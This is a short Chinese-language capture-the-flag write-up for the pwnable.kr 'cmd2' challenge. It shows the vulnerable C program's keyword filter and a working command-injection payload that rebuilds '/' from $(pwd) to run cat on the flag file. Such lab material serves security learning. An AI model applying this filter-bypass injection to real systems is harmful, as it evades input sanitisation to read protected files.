pwnable.kr之cmd2

#include <stdio.h>
#include <string.h>
 
 
int filter(char* cmd){
         intr=0;
         r+= strstr(cmd, "=")!=0;
         r+= strstr(cmd, "PATH")!=0;
         r+= strstr(cmd, "export")!=0;
         r+= strstr(cmd, "/")!=0;
         r+= strstr(cmd, "`")!=0;
         r+= strstr(cmd, "flag")!=0;
         returnr;
}
 
 
extern char** environ;
void delete_env(){
         char**p;
         for(p=environ;*p; p++)    memset(*p, 0, strlen(*p));
}
 
 
int main(int argc, char* argv[], char**envp){
         delete_env();
         putenv("PATH=/no_command_execution_until_you_become_a_hacker");
         if(filter(argv[1]))return 0;
         printf("%s\n",argv[1]);
         system(argv[1] );
         return;
}

         有关这道题目，我们看源码知道，它对好多字符进行了过滤，在cmd1中，没有过滤‘/’

所以我们可以通过输入绝对路径的办法找到cat指令然后执行，但是cmd2对‘/’进行了过滤，我们关键是想办法构造出“/”来，一开始也是一头雾水，搜索了好多办法，但是可能做得不太好，总是不能成功，还是一为大神指出了通过pwd指令来构造的方法。可是我还是看不懂大神到底怎么办的，所以自己搜了一下

         首先，pwd得功能是输出当前工作路径，哈哈路径里不就有‘/’了吗？而且，如果我们把路径弄到根目录下，就会发现pwd其实就是‘/’

         但是我们还是不能直接pwd放进去，那样其实还是会绕不过字符过滤，那该如何是好

需要用到的就是，我们可以把它包装成一个变量。就是加一个“$”，而且最外面加一个单引号，作用是在传递的时候告诉程序这是一个单一字符串，不能解释里面的内容。否则在传参阶段就被解释，在filter哪里就会被滤掉了。

所以方法就有了。

         首先cd到根目录下，然后输入以下命令

./home/cmd2/cmd2  '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'

注意是两个双引号，因为第一个双引号在第一次传参时会被作为字符串标识脱掉，system执行的时候还需要带引号的字符串。虽然感觉好像解释不是太合理，但是事实就是这个样子。